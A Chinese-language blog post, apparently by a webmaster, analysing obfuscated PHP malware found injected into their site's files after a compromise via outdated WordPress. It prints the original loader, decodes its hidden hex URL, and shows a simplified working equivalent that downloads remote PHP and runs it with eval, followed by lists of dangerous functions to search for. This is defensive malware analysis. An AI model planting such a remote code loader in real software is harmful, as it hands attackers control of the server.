前段时间发现我的网站访问速度特别慢,SSH登录VPS后进行排查,检查了很多项目这里省略,最后发现被“挂马”了,很多php文件里面被植入了以下代码:
<?php define('A','jan29.ofu5583ytu/lowya::shopbrand/[word]/^^!!.htm|detail/^^!!::?');$h='H';$l='68';
$l.='747';$l.='47';$l.='0733';
$l.='a2f2f';$l.='6f6b';
$l.='6b';
$l.='687';$l.='9782';$l.='e636f';$l.='6d2f6';$l.='a7';$l.='0323';$l.='0';$l.='32';$l.='3';$l.='62';$l.='e747';$l.='874';$p='p';
$p.='a';$p.='ck';$h.='*';$resp='';
$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$p($h,$l));curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,20);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);curl_setopt($curl,CURLOPT_TIMEOUT,20);$resp=curl_exec($curl);curl_close($curl);eVAl('?>'.$resp
);?>
这段代码显然是被加密了。看起来像什么加密方式?AES?RSA?Base64?其实都不是,这段代码真正使用的,只是一种非常常见的 PHP 代码混淆手法,算不上高级。接下来我们一步步来“解密”看看里面到底是什么。
一、第一步:把函数名拆开
代码中有这样一段:
$p='p';
$p.='a';
$p.='ck';
实际上就是:
$p = 'pack';
后面调用:
$p($h,$l)
等价于:
pack($h, $l)
也就是说,作者故意把 pack 拆成多个字符串,只是为了让人不容易一眼看懂。
二、第二步:拼接 pack() 的格式
再看:
$h='H';
$h.='*';
最终得到:
$h = 'H*';
于是:
$p($h,$l)
实际上就是:
pack('H*', $l)
那么 H* 是什么意思?
在 PHP 的 pack() 函数中:
H*
表示将十六进制字符串转换成原始二进制数据。
例如:
echo pack('H*', '6874747073');
转换后就是:
https
三、第三步:还原真正隐藏的网址
原代码把十六进制字符串拆成了大量片段:
$l='68';
$l.='747';
$l.='47';
$l.='0733';
...
最终会拼成一长串十六进制数据。
经过:
pack('H*', $l)
解码之后,得到的真实地址是:
https://okkhyx.com/jp2026.txt
也就是说,这段看似复杂的代码,实际上隐藏了一个远程网址。
四、真正危险的代码在这里
接下来程序使用 cURL 请求这个地址:
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$resp=curl_exec($curl);
curl_close($curl);
服务器返回的内容会保存到:
$resp
然后执行:
eval('?>'.$resp);
这意味着:
远程服务器返回什么 PHP 代码,本地服务器就执行什么。
这才是整段代码最值得警惕的地方。
五、它本质上是一个“远程代码加载器”
把混淆全部去掉后,这段代码大致等价于:
<?php
$url = 'https://okkhyx.com/jp2026.txt';
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$resp = curl_exec($curl);
curl_close($curl);
eval('?>' . $resp);
?>
是不是一下子就看明白了?
原来的几十行“乱码”,其实核心逻辑只有几步:
隐藏网址
↓
访问远程服务器
↓
下载 jp2026.txt
↓
获取其中的 PHP 代码
↓
eval() 直接执行
六、为什么要故意写得这么复杂?
主要有三个目的。
1. 防止人工查看
如果直接写:
$url = 'https://example.com/code.txt';
管理员打开文件就能立刻发现异常。
但如果写成:
$p($h,$l)
再配合几十段十六进制字符串,就会大幅增加阅读成本。
2. 规避简单的安全检测
一些基础的安全扫描,可能会直接查找:
恶意网址
eval
shell_exec
system
base64_decode
攻击者将网址、函数名拆分后,可以降低简单特征匹配的命中率。
当然,对于专业的安全产品来说,这种程度的混淆并不高级。
3. 实现“动态更新”
真正关键的是:
eval('?>'.$resp);
本地 PHP 文件本身不需要频繁修改。
只需要控制远程:
jp2026.txt
就可以随时改变服务器最终执行的代码。
今天可能只是一个跳转程序。
明天可能变成:
- SEO 垃圾页面生成器
- 博彩或色情跳转代码
- 网站后门
- WebShell 下载器
- 数据窃取程序
- 钓鱼页面
- 恶意广告注入代码
这也是为什么这种代码非常危险。
七、一个特别值得注意的地方:关闭 SSL 验证
原代码中还有:
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);
也就是说,它完全关闭了 HTTPS 证书验证。
正常情况下,HTTPS 连接会验证服务器证书,防止通信被中间人篡改。
而这里直接关闭验证,意味着程序只要能够拿到内容,就会继续执行。
再结合:
eval()
风险就更大了。
因为整个逻辑实际上是:
下载 → 不验证 → 直接执行
这是典型的高风险代码组合。
八、那么这算“加密”吗?
严格来说,不算。
它只是:
- 字符串拆分
- 十六进制编码
- PHP 动态函数调用
- 简单代码混淆
真正的加密应该需要密钥才能恢复,例如:
AES
RSA
ChaCha20
SM4
而这段代码根本不需要密钥。
只要理解 PHP 的:
pack('H*', ...)
就可以直接还原。
所以更准确地说:
这不是加密,而是“混淆”。
九、如果你的网站里发现这种代码怎么办?
如果是在自己的网站程序中发现类似代码,建议不要只删除这一行就结束。
因为这类远程加载器往往只是攻击链中的一部分。
建议至少检查:
1. 搜索危险函数
重点搜索:
eval(
assert(
base64_decode(
gzinflate(
str_rot13(
shell_exec(
system(
exec(
passthru(
2. 搜索异常的远程请求
例如:
curl_exec
file_get_contents('http
fopen('http
fsockopen
尤其是后面紧跟:
eval
include
require
assert
这种组合需要重点检查。
3. 检查最近修改的 PHP 文件
攻击者通常会在:
index.php
config.php
functions.php
wp-config.php
header.php
footer.php
或者一些看起来不起眼的目录中植入代码。其实后来发现,我的服务器之所以被入侵,就是VPS上其实有个网站用了旧版的 WordPress。一直觉得新版 WordPress 越来越臃肿,就没有升级最新版。
例如:
cache/
upload/
tmp/
images/
data/
这些目录有时甚至会被伪装成正常文件。
十、总结
这段代码看起来像“加密程序”,实际上并没有多复杂。
它的真实逻辑只有一句话:
把远程网址藏起来,然后下载远程 PHP 代码,再通过 eval() 在服务器上直接执行。
最终还原后的核心代码大致就是:
$url = '远程地址';
$code = file_get_contents($url);
eval('?>' . $code);